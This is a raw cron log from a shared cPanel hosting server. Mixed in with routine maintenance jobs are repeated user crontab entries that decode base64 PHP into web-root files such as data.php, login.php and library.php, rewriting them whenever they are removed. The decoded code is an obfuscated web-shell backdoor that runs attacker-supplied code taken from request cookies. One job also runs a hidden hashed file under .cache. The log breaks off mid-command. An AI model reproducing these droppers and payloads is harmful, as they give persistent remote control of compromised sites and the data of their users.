Apr 19 08:39:01 medusa CROND[2105]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:39:01 medusa CROND[2109]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:39:01 medusa CROND[2110]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:39:01 medusa CROND[2112]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 08:40:01 medusa CROND[26376]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 08:40:01 medusa CROND[26379]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 08:40:01 medusa CROND[26494]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 08:40:01 medusa CROND[26495]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:40:01 medusa CROND[26496]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 08:40:01 medusa CROND[26497]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 08:40:01 medusa CROND[26498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:40:01 medusa CROND[26502]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 08:40:01 medusa CROND[26504]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 08:40:01 medusa CROND[26506]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 08:40:01 medusa CROND[26503]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 08:40:01 medusa CROND[26507]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:40:01 medusa CROND[26509]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:40:01 medusa CROND[26510]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:40:01 medusa CROND[26508]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 08:40:01 medusa CROND[26505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:40:01 medusa CROND[26517]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 08:40:01 medusa CROND[26521]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:40:01 medusa CROND[26522]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:40:01 medusa CROND[26520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 08:40:01 medusa CROND[26526]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:40:01 medusa CROND[26528]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:40:01 medusa CROND[26529]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:40:01 medusa CROND[26530]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:40:01 medusa CROND[26524]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 08:40:01 medusa CROND[26532]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 08:40:01 medusa CROND[26534]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 08:40:01 medusa CROND[26523]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 08:41:02 medusa CROND[18875]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:41:02 medusa CROND[18915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:41:02 medusa CROND[18953]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 08:41:02 medusa CROND[18976]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:41:02 medusa CROND[18977]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 08:41:02 medusa CROND[18978]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:41:02 medusa CROND[18979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:41:02 medusa CROND[18980]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:41:02 medusa CROND[18983]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:41:02 medusa CROND[18991]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 08:41:02 medusa CROND[18992]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:41:02 medusa CROND[18993]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:41:02 medusa CROND[18994]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:41:02 medusa CROND[19000]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 